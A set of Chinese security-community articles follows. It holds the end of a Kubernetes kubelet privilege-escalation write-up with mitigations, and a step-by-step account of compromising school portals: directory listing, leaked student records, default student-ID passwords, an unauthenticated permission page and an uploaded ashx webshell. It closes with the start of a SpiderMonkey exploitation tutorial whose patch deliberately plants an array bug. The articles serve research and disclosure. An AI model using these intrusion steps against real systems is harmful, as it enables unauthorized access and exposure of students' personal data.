即其为最高权限的账户，至此我们可以执行各种不同的攻击。如从工作节点的实例窃取服务账户令牌访问云资源、列出配置、创建特权容器、后门容器等。
Kubernetes具有广泛的攻击面，其中kubelet尤为重要，本案例通过泄露的凭据开始，通过列出相关节点、实例生成和提交CSR充当工作节点，并最终获得集群管理员访问权限从而窃取TLS
Bootstrap凭据。
## 缓解措施
在实际生产环境中，一定要保护好kubelet凭证的数据避免类似的提权事件发生，同时还可以搭配以下几点方式来加固k8s的安全。
1、保护好元数据，元数据由于其敏感性务必在服务后台加强对元数据读取的管控，避免攻击者通过元数据读取到相关凭据信息，哪怕是低权限的凭据。
2、通过更安全的网络策略避免类似提权事件发生，默认情况下拒绝所有出站通信，然后根据需要将出站流量列入白名单。在pod上应用该网络策略，因为需要访问API服务器和元数据的是node而不是pod。
3、启用类似Istio这样的服务网格并配置egress gateway，这将阻止部署在服务网格中的任何容器与任何未经授权的主机进行通信
4、限制对主节点的网络访问，如上案例基本都发生在集群，所以传统的vpn也无法阻止相关危害，用户可以直接限制对主服务器的访问来避免k8s的许多攻击。
## 参考文献
<https://www.cnblogs.com/huanglingfa/p/13773234.html>
<https://cloud.tencent.com/developer/article/1553947>
<https://kubernetes.io/zh/docs/reference/access-authn-authz/authentication/>
<https://mritd.com/2018/01/07/kubernetes-tls-bootstrapping-note/>
* * * | 社区文章 |
# 写在前面
最近挖的0day，可以getshell众多学校，这里分享下挖掘技巧，过程也是挺奇幻的~
# 过程
1.首先访问目标站点：`http://x.x.x.x/default.aspx`
[
可以看到该页面有个登录框，右上角也有个登录按钮。经过后面的测试发现该页面的登录框登录完只能在前台留言；而右上角的那个登录按钮点击进去是后台登录的地址。
该页面的登录框：
[
右上角的登录按钮点击跳转的后台：`http://x.x.x.x/admin/login.aspx`
[
[
那么这里我们明显不知道用户账号和相对应的密码，这里必须得开始进一步信息收集了。
2.经过了一些时间的信息收集，我发现访问`http://x.x.x.x/admin`，
发现该路径下存在目录遍历漏洞。
[
这倒给我的信息收集省下了不少的麻烦。这里直接来找找有没有敏感文件和敏感信息泄露：
最后发现`/admin/userfiles`目录下存在一些敏感文件，这里下载其中的`2018在校生综合信息查询.xls`下来进行查看：其中学籍号是这次getshell最为关键的信息，因为根据信息收集发现，登录的用户账号和相对应的密码初始都为学籍号和学籍号
[
后面经过测试，用了该产品的学校的登录的用户账号和相对应的密码初始都为学籍号和学籍号；不是学校的就是ID号和ID号。
3.然后这里我开始窃喜，以为这里就可以直接进入后台了。可惜，事情并没有我想的这么简单。
这里直接拿其中一个学籍号登录，却弹窗提示我`登录失败，用户权限限制，无法登录后台！`
[
这里是因为我的账号是学生权限，权限太低所以无法登录后台。那如果是管理员的权限肯定就可以登录进去了。可是我找遍了刚才目录遍历泄露的敏感文件，经过了大量时间的信息收集，都没有收集到后台管理员的敏感信息。那这里该怎么办？难道就此放弃吗？所以说好运气会眷顾努力的人。在我继续在`/admin`目录下信息收集时，我偶然间发现了`PowerConfig.aspx`文件，看意思像是权限配置的文件，我直接点了进去，没想到这里发现了一个未授权访问的页面：
`http://x.x.x.x/admin/PowerConfig.aspx`
[
该页面可以给所有用户分配登录权限和应用权限，这里我直接给学生用户分配了允许进入后台的登录权限
4.给学生用户分配后台权限后，访问`http://x.x.x.x/admin/login.aspx`，以其中一个学籍号登录：登录成功，这里看到了所有用户的信息
[
5.然后getshell就十分简单了，在其中的下载专区可以上传ashx木马
[
然后用burpsuite抓包，点击"下载"查看，查看到马的地址：
[
执行`ipconfig`
[
至此，完成本次0day通用漏洞的挖掘。文章中所有通用漏洞均已提交至cnvd并通过。 | 社区文章 |
注：本文是一篇翻译文章，原文链接：<https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#jsvalues-and-jsobjects>
由于文章比较长，译者将其分为三部分，第一步分解释基础的知识点和背景；第二部讲解利用过程，第三部分结论及其他内容。
## 介绍
这个博客文章介绍了针对 SpiderMonkey JavaScript Shell 解释器和 Windows 10 RS5 64 位 Mozilla
Firefox 的三个漏洞的开发，从一个从未编写过浏览器漏洞利用的人的角度来写，也没有密切关注任何 JavaScript 引擎代码库。
您可能已经注意到，在过去的一两年里，人们对利用浏览器产生了很大的兴趣。每个主要的 CTF
竞赛至少有一次浏览器挑战，每个月至少有一次或两次涉及浏览器利用。这就是为什么我认为我应该从内部分析一下 JavaScript
引擎的内容，然后写一个其中的利用。我选择了 Firefox 的 SpiderMonkey JavaScript 引擎和由
[itszn13](https://twitter.com/itszn13 "itszn13") 出的挑战题
[Blazefox](https://ctftime.org/task/6000 "Blazefox")。
在这篇文章中，我介绍了我的发现和我在此挑战中编写的三个利用。最初，挑战是针对 Linux x64 环境，但我决定在 Windows x64
上利用它。现在你知道为什么有 3
种不同的利用了吗？三个不同的利用允许我一步一步地实现，而不是同时面对所有复杂的情况。这通常是我日常工作的方式，我只是做了一些小工作，慢慢迭代然后建立起来。
以下是我如何组织这些事情的方法：
* 第一件事，我写了一个名为 [sm.js](https://github.com/0vercl0k/windbg-scripts/tree/master/sm "sm.js") 的 WinDbg JavaScript 扩展，它让我可以看到 SpiderMonkey 中的一堆东西。熟悉对象在内存中组织的各种方式也是一种很好的练习。这不是必要操作，但在编写漏洞时它一定非常有用。
* 第一个利用部分：basic.js，针对 JavaScript 解释器 js.exe 的一个非常具体的构建。它里面写满了硬编码的偏移，并且没有办法到我的系统以外的其他地方使用这个特定版本的 js.exe 。
* 第二个利用部分，kaizen.js，是对 basic.js 的改进版。 它仍然以 JavaScript 解释器本身为目标，但这一次，它能动态地解决了一大堆东西。 它还使用 baseline JIT 让它生成 ROP gadgets。
* 第三个利用部分，ifrit.js，最后用一点额外的操作定位Firefox浏览器。我们就不仅是利用 baseline 来生成一个或两个 ROP gadgets，而是将 JIT 编写到一个完整的 payload 中。不需要 ROP 链，直接扫描以查找 Windows API 地址或创建可写和可执行的内存区域。我们只需要将执行的 payload 放到 JIT 代码的位置。对于了解 SpiderMonkey 并且已经写过浏览器利用的人来说，这可能是一个不那么枯燥，且有趣的部分。
在开始之前，对于那些不想阅读整个文章的人：我已经创建了一个[blazefox
GitHub](https://github.com/0vercl0k/blazefox "blazefox GitHub")存储库，您可以克隆所有材料。
在存储库中，还可以找到：
* sm.js 这是上面提到的调试器扩展
* 3个利用部分的源码
* JavaScript shell 的64位调试版本，js-asserts 中的私有符号信息，以及 js-release 中的发布版本
* 用来在脚本中构建你自己 payload 技术的脚本
* 用于构建 js-release 的源代码，以便您可以在 [src/js](https://github.com/0vercl0k/blazefox/tree/master/src/js "src/js") 中的 WinDbg 中进行源代码级调试
* 一个 64 位版本的 Firefox 二进制文件以及 [ff-bin.7z.001 ](https://github.com/0vercl0k/blazefox/blob/master/ff-bin.7z.001 "ff-bin.7z.001 ")和 [ff-bin.7z.002](https://github.com/0vercl0k/blazefox/blob/master/ff-bin.7z.002 "ff-bin.7z.002") 中 xul.dll 符号信息
好，让我们开始吧。
## Setting it up 设置它
当然，必须设置一个调试环境。 我建议为此创建一个虚拟机，因为您将不得不安装一些您可能不想在您的个人计算机上安装的东西。
首先，我们先拿到源码。Mozilla 使用 mercurial 进行开发，但它们也维护一个只读的 GIT
镜像。我建议只是克隆这个存储库，这样更快（存储库大约~420MB）：
>git clone --depth 1 https://github.com/mozilla/gecko-dev.git
Cloning into 'gecko-dev'...
remote: Enumerating objects: 264314, done.
remote: Counting objects: 100% (264314/264314), done.
remote: Compressing objects: 100% (211568/211568), done.
remote: Total 264314 (delta 79982), reused 140844 (delta 44268), pack-reused 0 receiving objects: 100% (264314/26431
Receiving objects: 100% (264314/264314), 418.27 MiB | 981.00 KiB/s, done.
Resolving deltas: 100% (79982/79982), done.
Checking out files: 100% (261054/261054), done.
现在，我们只对创建 JavaScript Shell 的解释器感兴趣，这只是 SpiderMonkey 树的一部分。js.exe 是一个可以运行
JavaScript 代码的简单命令行程序。 编译速度要快得多，但更重要的是它更容易攻击和推理。我们已经准备好放弃代码，所以让我们首先关注一些细微的东西。
在编译之前，抓取
[blaze.patch](https://github.com/0vercl0k/blazefox/blob/master/blaze.patch
"blaze.patch") 文件（暂时不需要理解）：
diff -r ee6283795f41 js/src/builtin/Array.cpp
--- a/js/src/builtin/Array.cpp Sat Apr 07 00:55:15 2018 +0300
+++ b/js/src/builtin/Array.cpp Sun Apr 08 00:01:23 2018 +0000
@@ -192,6 +192,20 @@
return ToLength(cx, value, lengthp);
}
+static MOZ_ALWAYS_INLINE bool
+BlazeSetLengthProperty(JSContext* cx, HandleObject obj, uint64_t length)
+{
+ if (obj->is<ArrayObject>()) {
+ obj->as<ArrayObject>().setLengthInt32(length);
+ obj->as<ArrayObject>().setCapacityInt32(length);
+ obj->as<ArrayObject>().setInitializedLengthInt32(length);
+ return true;
+ }
+ return false;
+}
+
+
+
/*
* Determine if the id represents an array index.
*
@@ -1578,6 +1592,23 @@
return DenseElementResult::Success;
}
+bool js::array_blaze(JSContext* cx, unsigned argc, Value* vp)
+{
+ CallArgs args = CallArgsFromVp(argc, vp);
+ RootedObject obj(cx, ToObject(cx, args.thisv()));
+ if (!obj)
+ return false;
+
+ if (!BlazeSetLengthProperty(cx, obj, 420))
+ return false;
+
+ //uint64_t l = obj.as<ArrayObject>().setLength(cx, 420);
+
+ args.rval().setObject(*obj);
+ return true;
+}
+
+
// ES2017 draft rev 1b0184bc17fc09a8ddcf4aeec9b6d9fcac4eafce
// 22.1.3.21 Array.prototype.reverse ( )
bool
@@ -3511,6 +3542,8 @@
JS_FN("unshift", array_unshift, 1,0),
JS_FNINFO("splice", array_splice, &array_splice_info, 2,0),
+ JS_FN("blaze", array_blaze, 0,0),
+
/* Pythonic sequence methods. */
JS_SELF_HOSTED_FN("concat", "ArrayConcat", 1,0),
JS_INLINABLE_FN("slice", array_slice, 2,0, ArraySlice),
diff -r ee6283795f41 js/src/builtin/Array.h
--- a/js/src/builtin/Array.h Sat Apr 07 00:55:15 2018 +0300
+++ b/js/src/builtin/Array.h Sun Apr 08 00:01:23 2018 +0000
@@ -166,6 +166,9 @@
array_reverse(JSContext* cx, unsigned argc, js::Value* vp);
extern bool
+array_blaze(JSContext* cx, unsigned argc, js::Value* vp);
+
+extern bool
array_splice(JSContext* cx, unsigned argc, js::Value* vp);
extern const JSJitInfo array_splice_info;
diff -r ee6283795f41 js/src/vm/ArrayObject.h
--- a/js/src/vm/ArrayObject.h Sat Apr 07 00:55:15 2018 +0300
+++ b/js/src/vm/ArrayObject.h Sun Apr 08 00:01:23 2018 +0000
@@ -60,6 +60,14 @@
getElementsHeader()->length = length;
}
+ void setCapacityInt32(uint32_t length) {
+ getElementsHeader()->capacity = length;
+ }
+
+ void setInitializedLengthInt32(uint32_t length) {
+ getElementsHeader()->initializedLength = length;
+ }
+
// Make an array object with the specified initial state.
static inline ArrayObject*
createArray(JSContext* cx,
应用如下所示的补丁，只需仔细检查它是否已正确应用（不应该出现任何冲突）：
>cd gecko-dev\js
gecko-dev\js>git apply c:\work\codes\blazefox\blaze.patch
gecko-dev\js>git diff
diff --git a/js/src/builtin/Array.cpp b/js/src/builtin/Array.cpp
index 1655adbf58..e2ee96dd5e 100644
--- a/js/src/builtin/Array.cpp
+++ b/js/src/builtin/Array.cpp
@@ -202,6 +202,20 @@ GetLengthProperty(JSContext* cx, HandleObject obj, uint64_t* lengthp)
return ToLength(cx, value, lengthp);
}
+static MOZ_ALWAYS_INLINE bool
+BlazeSetLengthProperty(JSContext* cx, HandleObject obj, uint64_t length)
+{
+ if (obj->is<ArrayObject>()) {
+ obj->as<ArrayObject>().setLengthInt32(length);
+ obj->as<ArrayObject>().setCapacityInt32(length);
+ obj->as<ArrayObject>().setInitializedLengthInt32(length);
+ return true;
+ }
+ return false;
+}
此时，您可以安装 [Mozilla-Build](https://wiki.mozilla.org/MozillaBuild "Mozilla-Build")，它是一个元安装程序，为您提供在 Mozilla 上进行开发所需的所有工具（工具链，各种脚本等）。在撰写本文时，最新的可用版本是版本
3.2，可在此处获得：[MozillaBuildSetup-3.2.exe](https://ftp.mozilla.org/pub/mozilla/libraries/win32/MozillaBuildSetup-3.2.exe
"MozillaBuildSetup-3.2.exe")
安装完成后，通过运行start-shell.bat批处理文件启动Mozilla shell。 转到js \
src文件夹中克隆的位置，然后键入以下内容以配置js.exe的x64调试版本：
over@compiler /d/gecko-dev/js/src$ autoconf-2.13
over@compiler /d/gecko-dev/js/src$ mkdir build.asserts
over@compiler /d/gecko-dev/js/src$ cd build.asserts
over@compiler /d/gecko-dev/js/src/build.asserts$ ../configure --host=x86_64-pc-mingw32 --target=x86_64-pc-mingw32 --enable-debug
用 mozmake 开始编译
over@compiler /d/gecko-dev/js/src/build.asserts$ mozmake -j2
然后，你应该能够在一个目录中输入 ./js/src/js.exe,./mozglue/build/mozglue.dll 和
./config/external/nspr/pr/nspr4.dll 并且这里：
over@compiler ~/mozilla-central/js/src/build.asserts/js/src
$ js.exe --version
JavaScript-C64.0a1
对于优化的构建，您可以通过这种方式调用 configure:
over@compiler /d/gecko-dev/js/src/build.opt$ ../configure --host=x86_64-pc-mingw32 --target=x86_64-pc-mingw32 --disable-debug --enable-optimize
## SpiderMonkey
### 背景
SpiderMonkey 是 Mozilla 的 JavaScript 引擎的名称，它的源代码可以通过 [gecko-dev](https://github.com/mozilla/gecko-dev "gecko-dev") 存储库（在 js 目录下）在 Github
上获得。SpiderMonkey 在 Firefox 使用，更确切地说是由 Web 引擎 Gecko
使用。如果您喜欢它，您甚至可以将解释器嵌入到您自己的第三方应用程序中。 该项目相当大，这里有一些我粗略统计的数据：
* ~3k 个类
* ~576k 行代码
* ~1.2k 个文件
* ~48k 个函数
正如您在下面的树形图视图中看到的那样（越大，线越多;蓝色越深，圈复杂度越高）js 引擎基本上分为六大部分：JIT编译器引擎名为 Baseline 和
[IonMonkey](https://wiki.mozilla.org/IonMonkey "IonMonkey")在 Jit 目录中，front-end
在 frontend 目录中，JavaScript virtual-machine 在 VM 目录中，一大堆内置函数在 builtin
目录中，垃圾回收器（garbage collector）在 gc 目录中，还有 WebAssembly 在 wasm 目录中。
我现在看到的大部分内容都存在于vm，builtin和gc文件夹中。对我们来说另一件好事是，还有大量关于SpiderMoneky内部，和设计相关的公共文档等。
以下是我发现有趣的一些链接（有些链接可能已过时，但此时我们只是挖掘我们可以找到的所有公开信息）如果您希望在进一步开发之前获得更多背景知识：
* [SpiderMonkeys](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey "SpiderMonkeys")
* [SpiderMonkey Internals](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/Internals "SpiderMonkey Internals")
* [JSAPI](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/JSAPI_User_Guide "JSAPI")
* [GC Rooting guide](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/SpiderMonkey/GC_Rooting_Guide "GC Rooting guide")
* [IonMonkey JIT](https://wiki.mozilla.org/IonMonkey/Overview "IonMonkey JIT")
* [The Performance Of Open Source Software: MemShrink](http://www.aosabook.org/en/posa/memshrink.html "The Performance Of Open Source Software: MemShrink")
### JS::Values and JSObjects
您可能首先想到的是本地 JavaScript
对象如何在内存中布局。让我们创建一个包含几种不同本地类型的脚本文件，并直接从内存中dump出来（不要忘记加载符号表）。这里有一个有用的调试技巧，将断点设置为很少被调用的函数，例如Math.atan2
。 由于您可以将任意 JavaScript 对象传递给函数，因此可以非常轻松地从调试器中检索其地址。 您也可以使用 objectAddress，虽然它只能在
shell 中访问，但有时非常有用。
js> a = {}
({})
js> objectAddress(a)
"000002576F8801A0"
另一个非常有用的方法是 dumpObject ，但是这个方法只能从 shell 的调试版本中获得：
js> a = {doare : 1}
({doare:1})
js> dumpObject(a)
object 20003e8e160
global 20003e8d060 [global]
class 7ff624d94218 Object
lazy group
flags:
proto <Object at 20003e90040>
properties:
"doare": 1 (shape 20003eb1ad8 enumerate slot 0)
还有一些其他可能有趣的实用函数通过 shell 传递给 JavaScript
。如果你想枚举它们，你可以运行Object.getOwnPropertyNames（this）：
js> Object.getOwnPropertyNames(this)
["undefined", "Boolean", "JSON", "Date", "Math", "Number", "String", "RegExp", "InternalError", "EvalError", "RangeError", "TypeError", "URIError", "ArrayBuffer", "Int8Array", "Uint8Array", "Int16Array", "Uint16Array", "Int32Array", "Uint32Array", "Float32Array", "Float64Array", "Uint8ClampedArray", "Proxy", "WeakMap", "Map", ..]
要在调用 Math.atan2 JavaScript 函数时中断调试器，可以在以下符号上设置断点：
0:001> bp js!js::math_atan2
现在只需创建一个包含以下内容的 foo.js 文件：
'use strict';
const Address = Math.atan2;
const A = 0x1337;
Address(A);
const B = 13.37;
Address(B);
const C = [1, 2, 3, 4, 5];
Address(C);
此时您有两个选择：要么将上述脚本加载到 JavaScript shell 中并附加调试器，要么我建议使用 TTD
跟踪程序执行。当您尝试研究复杂的软件时，它会使事情变得如此简单。如果你从未尝试过，现在就去做，你会明白的。
是时候加载跟踪并浏览一下：
0:001> g
Breakpoint 0 hit
js!js::math_atan2:
00007ff6`9b3fe140 56 push rsi
0:000> lsa .
260: }
261:
262: bool
263: js::math_atan2(JSContext* cx, unsigned argc, Value* vp)
> 264: {
265: CallArgs args = CallArgsFromVp(argc, vp);
266:
267: return math_atan2_handle(cx, args.get(0), args.get(1), args.rval());
268: }
269:
此时，你应该像上面那样中断调试器。 为了能够检查传递的 JavaScript 对象，我们需要了解如何将 JavaScript 参数传递给本机 C++ 函数。
它的工作方式是：vp 是一个大小为 argc + 2 的 JS :: Value 数组的指针（一个用于返回值/调用者，一个用于 this
对象）。函数通常不直接通过 vp 访问数组。而是将它包装在一个 JS :: CallArgs 对象中，该对象抽象出需要计算的 JS :: Value
的数量，并提供其功能，如：JS :: CallArgs :: get，JS :: CallArgs :: rval等。它还抽象出与 GC
相关的操作，以使对象保持活动状态。 所以我们需 dump vp 指向的内存。
0:000> dqs @r8 l@rdx+2
0000028f`87ab8198 fffe028f`877a9700
0000028f`87ab81a0 fffe028f`87780180
0000028f`87ab81a8 fff88000`00001337
我们注意到的第一件事是每个 Value 对象好像都设置了高8位。
通常，在指针中设置一个hax的标志来编码更多的信息（比如类型，译者注：这高8位实际上是表明了数据的类型，0xfff88000 表示 0x00001337
是个整型数据），因为这部分地址空间无法从 Windows 上的用户模式寻址。
至少我们认识到 0x1337 值是什么。 让我们继续第二次调用 Addressnow。
0:000> g
Breakpoint 0 hit
js!js::math_atan2:
00007ff6`9b3fe140 56 push rsi
0:000> dqs @r8 l@rdx+2
0000028f`87ab8198 fffe028f`877a9700
0000028f`87ab81a0 fffe028f`87780180
0000028f`87ab81a8 402abd70`a3d70a3d
0:000> .formats 402abd70`a3d70a3d
Evaluate expression:
Hex: 402abd70`a3d70a3d
Double: 13.37
这是另一个我们认识到的常数。这次，整个 quad-word 用于表示 double 数。 最后，这里是传递给“Address”的第三次调用的 Array
对象：
0:000> g
Breakpoint 0 hit
js!js::math_atan2:
00007ff6`9b3fe140 56 push rsi
0:000> dqs @r8 l@rdx+2
0000028f`87ab8198 fffe028f`877a9700
0000028f`87ab81a0 fffe028f`87780180
0000028f`87ab81a8 fffe028f`87790400
有趣。如果我们看一下 JS :: Value 结构，看起来 quad-word 的下半部分是指向某个对象的指针。
0:000> dt -r2 js::value
+0x000 asBits_ : Uint8B
+0x000 asDouble_ : Float
+0x000 s_ : JS::Value::<unnamed-type-s_>
+0x000 payload_ : JS::Value::<unnamed-type-s_>::<unnamed-type-payload_>
+0x000 i32_ : Int4B
+0x000 u32_ : Uint4B
+0x000 why_ : JSWhyMagic
通过查看 public / Value.h，我们很快就能理解上面所看到的内容。JS :: Value 的 17 个高位（在源代码中称为
JSVAL_TAG）用于编码类型信息。较低的 47 位（称为 JSVAL_TAG_SHIFT）是普通类型的值（整数，布尔值等）或指向 JSObject
的指针。 这部分称为 payload_
union alignas(8) Value {
private:
uint64_t asBits_;
double asDouble_;
struct {
union {
int32_t i32_;
uint32_t u32_;
JSWhyMagic why_;
} payload_;
现在让我们以 JS :: Value 0xfff8800000001337 为例。 要提取它的标记位，我们可以把它右移 47，并提取有payload_
（这里是一个整数，一个普通的类型），我们可以用 2**47 - 1 覆盖它。与上面的数组 JS :: Value相同。
In [5]: v = 0xfff8800000001337
In [6]: hex(v >> 47)
Out[6]: '0x1fff1L'
In [7]: hex(v & ((2**47) - 1))
Out[7]: '0x1337L'
In [8]: v = 0xfffe028f877a9700
In [9]: hex(v >> 47)
Out[9]: '0x1fffcL'
In [10]: hex(v & ((2**47) - 1))
Out[10]: '0x28f877a9700L'
上面的 0x1fff1 常量是 JSVAL_TAG_INT32，而 0x1fffc 是 JSValueType 中定义的
JSVAL_TAG_OBJECT，这都是有依据的：
enum JSValueType : uint8_t
{
JSVAL_TYPE_DOUBLE = 0x00,
JSVAL_TYPE_INT32 = 0x01,
JSVAL_TYPE_BOOLEAN = 0x02,
JSVAL_TYPE_UNDEFINED = 0x03,
JSVAL_TYPE_NULL = 0x04,
JSVAL_TYPE_MAGIC = 0x05,
JSVAL_TYPE_STRING = 0x06,
JSVAL_TYPE_SYMBOL = 0x07,
JSVAL_TYPE_PRIVATE_GCTHING = 0x08,
JSVAL_TYPE_OBJECT = 0x0c,
// These never appear in a jsval; they are only provided as an out-of-band
// value.
JSVAL_TYPE_UNKNOWN = 0x20,
JSVAL_TYPE_MISSING = 0x21
};
JS_ENUM_HEADER(JSValueTag, uint32_t)
{
JSVAL_TAG_MAX_DOUBLE = 0x1FFF0,
JSVAL_TAG_INT32 = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_INT32,
JSVAL_TAG_UNDEFINED = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_UNDEFINED,
JSVAL_TAG_NULL = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_NULL,
JSVAL_TAG_BOOLEAN = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_BOOLEAN,
JSVAL_TAG_MAGIC = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_MAGIC,
JSVAL_TAG_STRING = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_STRING,
JSVAL_TAG_SYMBOL = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_SYMBOL,
JSVAL_TAG_PRIVATE_GCTHING = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_PRIVATE_GCTHING,
JSVAL_TAG_OBJECT = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_OBJECT
} JS_ENUM_FOOTER(JSValueTag);
现在我们知道什么是 JS :: Value，让我们看一下 Array 在内存中的样子，因为这会在之后用到。 重新启动目标并跳过第一个双重中断。
0:000> .restart /f
0:008> g
Breakpoint 0 hit
js!js::math_atan2:
00007ff6`9b3fe140 56 push rsi
0:000> g
Breakpoint 0 hit
js!js::math_atan2:
00007ff6`9b3fe140 56 push rsi
0:000> g
Breakpoint 0 hit
js!js::math_atan2:
00007ff6`9b3fe140 56 push rsi
0:000> dqs @r8 l@rdx+2
0000027a`bf5b8198 fffe027a`bf2a9480
0000027a`bf5b81a0 fffe027a`bf280140
0000027a`bf5b81a8 fffe027a`bf2900a0
0:000> dqs 27a`bf2900a0
0000027a`bf2900a0 0000027a`bf27ab20
0000027a`bf2900a8 0000027a`bf2997e8
0000027a`bf2900b0 00000000`00000000
0000027a`bf2900b8 0000027a`bf2900d0
0000027a`bf2900c0 00000005`00000000
0000027a`bf2900c8 00000005`00000006
0000027a`bf2900d0 fff88000`00000001
0000027a`bf2900d8 fff88000`00000002
0000027a`bf2900e0 fff88000`00000003
0000027a`bf2900e8 fff88000`00000004
0000027a`bf2900f0 fff88000`00000005
0000027a`bf2900f8 4f4f4f4f`4f4f4f4f
此时我们认识到数组的内容：从 1 到 5 的数值，作为 JS :: Value
的五个整数。我们也可以看到哪个位置的数据可能是存放的数组大小和容量，但剩下的数据很难猜到存放的是什么。
0:000> dt JSObject
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : Ptr64 Void
0:000> dt js::NativeObject
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : Ptr64 Void
+0x010 slots_ : Ptr64 js::HeapSlot
+0x018 elements_ : Ptr64 js::HeapSlot
0:000> dt js::ArrayObject
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : Ptr64 Void
+0x010 slots_ : Ptr64 js::HeapSlot
+0x018 elements_ : Ptr64 js::HeapSlot
JS :: ArrayObject 在 vm / ArrayObject.h 文件中定义，它是 JS :: NativeObject 类的子类（JS ::
NativeObject 子类 JS :: ShapedObject，它自然是 JSObject 的子类）。 请注意，它也基本上是每个其他
JavaScript 对象的子类，如下图所示：
SpiderMonkey 中的本地对象基本上由两个组件组成：
* 一个形状对象，用于描述属性，所述对象的类，更多的是在下面（由字段 shapeOrExpando_ 指向）。
* 存储元素或属性值的存储。
让我们看看对象属性如何存储在内存中。
### Shapes
如上所述，shape 对象的作用是描述对象具有的各种属性。从概念上讲，您可以将其视为某种哈希表，其中 Key 是属性名称，值是实际存储属性内容的 slot
。
在进一步阅读之前，我建议您观看由 [@bmeurer](https://twitter.com/bmeurer "@bmeurer") 和
[@mathias](https://twitter.com/mathias "@mathias") 撰写的非常简短的演示文稿，描述如何在
JavaScript 引擎中存储属性：[JavaScript
引擎基础：形状和内联缓存](https://mathiasbynens.be/notes/shapes-ics "JavaScript
引擎基础：形状和内联缓存")。 他们清楚地解释这方面的事，它应该有助于理解接下来会发生什么，这也意味着我不需要尽可能多地介绍。
考虑以下 JavaScript 代码：
'use strict';
const Address = Math.atan2;
const A = {
foo : 1337,
blah : 'doar-e'
};
Address(A);
const B = {
foo : 1338,
blah : 'sup'
};
Address(B);
const C = {
foo : 1338,
blah : 'sup'
};
C.another = true;
Address(C);
将它放在您最喜欢的调试器下面的 shell 中，以便仔细查看此 shape 对象：
0:000> bp js!js::math_atan2
0:000> g
Breakpoint 0 hit
Time Travel Position: D454:D
js!js::math_atan2:
00007ff7`76c9e140 56 push rsi
0:000> ?? vp[2].asBits_
unsigned int64 0xfffe01fc`e637e1c0
0:000> dt js::NativeObject 1fc`e637e1c0 shapeOrExpando_
+0x008 shapeOrExpando_ : 0x000001fc`e63ae880 Void
0:000> ?? ((js::shape*)0x000001fc`e63ae880)
class js::Shape * 0x000001fc`e63ae880
+0x000 base_ : js::GCPtr<js::BaseShape *>
+0x008 propid_ : js::PreBarriered<jsid>
+0x010 immutableFlags : 0x2000001
+0x014 attrs : 0x1 ''
+0x015 mutableFlags : 0 ''
+0x018 parent : js::GCPtr<js::Shape *>
+0x020 kids : js::KidsPointer
+0x020 listp : (null)
0:000> ?? ((js::shape*)0x000001fc`e63ae880)->propid_.value
struct jsid
+0x000 asBits : 0x000001fc`e63a7e20
在实现中，JS :: Shape 描述了一个属性；它的名称和 slot 号。为了描述它们中的几个，通过父字段（和其他字段）将 shapes
链接在一起。slot 号（稍后用于查找属性内容）存储在 immutableFlags 字段的低位中。属性名称存储为 propid_ 字段中的 jsid 。
我知道现在你面前有很多抽象的信息。但是，让我们一层一层的来分析; 从上面的 shape 开始。此 JS :: Shape 对象描述了一个属性，该值存储在
slot 号为 1（0x2000001 和 SLOT_MASK）中。为了得到它的名字，我们转储它的propid_ 字段，即
0x000001fce63a7e20 。
什么是 jsid ？ jsid 是另一种类型的标记指针，其中类型信息这次以低三位编码。
感谢那些较低的位，我们知道这个地址指向一个字符串，它应该匹配我们的属性名称:)。
0:000> ?? (char*)((JSString*)0x000001fc`e63a7e20)->d.inlineStorageLatin1
char * 0x000001fc`e63a7e28
"blah"
如上所述， shape 对象链接在一起。 如果我们转储其父级，我们希望找到描述我们的第二个属性 foo 的 shape：
0:000> ?? ((js::shape*)0x000001fc`e63ae880)->parent.value
class js::Shape * 0x000001fc`e63ae858
+0x000 base_ : js::GCPtr<js::BaseShape *>
+0x008 propid_ : js::PreBarriered<jsid>
+0x010 immutableFlags : 0x2000000
+0x014 attrs : 0x1 ''
+0x015 mutableFlags : 0x2 ''
+0x018 parent : js::GCPtr<js::Shape *>
+0x020 kids : js::KidsPointer
+0x020 listp : 0x000001fc`e63ae880 js::GCPtr<js::Shape *>
0:000> ?? ((js::shape*)0x000001fc`e63ae880)->parent.value->propid_.value
struct jsid
+0x000 asBits : 0x000001fc`e633d700
0:000> ?? (char*)((JSString*)0x000001fc`e633d700)->d.inlineStorageLatin1
char * 0x000001fc`e633d708
"foo"
按 g 继续执行并检查第二个对象是否共享相同的形状层次结构（0x000001fce63ae880）:
0:000> g
Breakpoint 0 hit
Time Travel Position: D484:D
js!js::math_atan2:
00007ff7`76c9e140 56 push rsi
0:000> ?? vp[2].asBits_
unsigned int64 0xfffe01fc`e637e1f0
0:000> dt js::NativeObject 1fc`e637e1f0 shapeOrExpando_
+0x008 shapeOrExpando_ : 0x000001fc`e63ae880 Void
正如预期的那样，B 确实会分享它，即使 A和 B 存储不同的属性值。 关注我们现在向 C 添加另一个属性时会发生什么？ 要查找，请最后按 g 一次：
0:000> g
Breakpoint 0 hit
Time Travel Position: D493:D
js!js::math_atan2:
00007ff7`76c9e140 56 push rsi
0:000> ?? vp[2].asBits_
union JS::Value
+0x000 asBits_ : 0xfffe01e7`c247e1c0
0:000> dt js::NativeObject 1fc`e637e1f0 shapeOrExpando_
+0x008 shapeOrExpando_ : 0x000001fc`e63b10d8 Void
0:000> ?? ((js::shape*)0x000001fc`e63b10d8)
class js::Shape * 0x000001fc`e63b10d8
+0x000 base_ : js::GCPtr<js::BaseShape *>
+0x008 propid_ : js::PreBarriered<jsid>
+0x010 immutableFlags : 0x2000002
+0x014 attrs : 0x1 ''
